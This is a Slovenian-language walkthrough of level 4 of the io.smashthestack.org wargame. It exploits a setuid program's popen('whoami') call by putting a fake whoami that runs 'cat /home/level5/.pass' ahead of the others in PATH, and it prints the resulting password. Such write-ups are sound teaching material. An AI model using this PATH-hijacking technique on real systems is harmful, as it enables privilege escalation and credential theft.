Nekaj besed o četrti stopnji io.smashthestack.org.
$ ssh -l level4 io.smashthestack.org -p2224
level4@io:/levels$ cat level04.c
//writen by bla
#include <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}
FILE *popen(const char *command, const char *type);
DESCRIPTION
The popen() function opens a process by creating a pipe, forking, and invoking the shell. Since a pipe is by definition unidirectional, the type argument may specify
only reading or writing, not both; the resulting stream is correspondingly read-only or write-only.
The command argument is a pointer to a null-terminated string containing a shell command line. This command is passed to /bin/sh using the -c flag; interpretation, if
any, is performed by the shell. The type argument is a pointer to a null-terminated string which must contain either the letter 'r' for reading or the letter 'w' for
writing. Since glibc 2.9, this argument can additionally include the letter 'e', which causes the close-on-exec flag (FD_CLOEXEC) to be set on the underlying file
descriptor; see the description of the O_CLOEXEC flag in open(2) for reasons why this may be useful.
The return value from popen() is a normal standard I/O stream in all respects save that it must be closed with pclose() rather than fclose(3). Writing to such a stream
writes to the standard input of the command; the command's standard output is the same as that of the process that called popen(), unless this is altered by the command
itself. Conversely, reading from a "popened" stream reads the command's standard output, and the command's standard input is the same as that of the process that
called popen().
Note that output popen() streams are fully buffered by default.
The pclose() function waits for the associated process to terminate and returns the exit status of the command as returned by wait4(2).
char *fgets(char *s, int size, FILE *stream);
fgets() reads in at most one less than size characters from stream and stores them into the buffer pointed to by s. Reading stops after an EOF or a newline. If a new-
line is read, it is stored into the buffer. A terminating null byte ('\0') is stored after the last character in the buffer.
Program izvede ukaz v lupini in na zaslon izpise rezultat.
level4@io:/levels$ ./level04
Welcome level5
Izpis je logicen, saj je lastnik programa level5
:
level4@io:/levels$ ls -la | grep level04
-r-sr-x--- 1 level5 level4 5159 Dec 18 2013 level04
A bi lahko sami dolocili, kaj se v programu izvede namesto whoami
? Naprimer cat /home/level5/.pass
?
Nazalost programa ne moremo spreminjat, saj bi ob ponovnem prevajanju izgubili prednost tega, da je uporabnik level5 lastnik izvrsljive datoteke. Poiskati moramo drug nacin, brez dvoma pa je popen
zabaven del programa.
Najprej ugotovimo kaj je whoami
:
level4@io:/levels$ which whoami
/usr/bin/whoami
level4@io:/levels$ echo $PATH
/usr/local/radare/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$PATH
lahko nastavimo s pomocjo naslednjega ukaza:
export PATH=$PATH:direktorij
Naceloma lahko ustvarimo nek svoj direktorij, ki bo vseboval izvrsljivo datoteko whoami
, ki bo dejansko izpisala geslo za naslednji nivo.
level4@io:/levels$ mkdir /tmp/direktorij
level4@io:/levels$ echo "cat /home/level5/.pass" > /tmp/direktorij/whoami
level4@io:/levels$ chmod 777 /tmp/direktorij/whoami
Nastavimo se $PATH
, pomembno je da nas nov direktorij navedemo pred starimi, da pri pregledu najprej naleti na nas spremenjen whoami
.
level4@io:/levels$ export PATH=/tmp/direktorij:$PATH
level4@io:/levels$ echo $PATH
/tmp/direktorij:/usr/local/radare/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Tokrat ce pozenemo program, dobimo kar izpisano geslo:
level4@io:/levels$ ./level04
Welcome DNLM3Vu0mZfX0pDd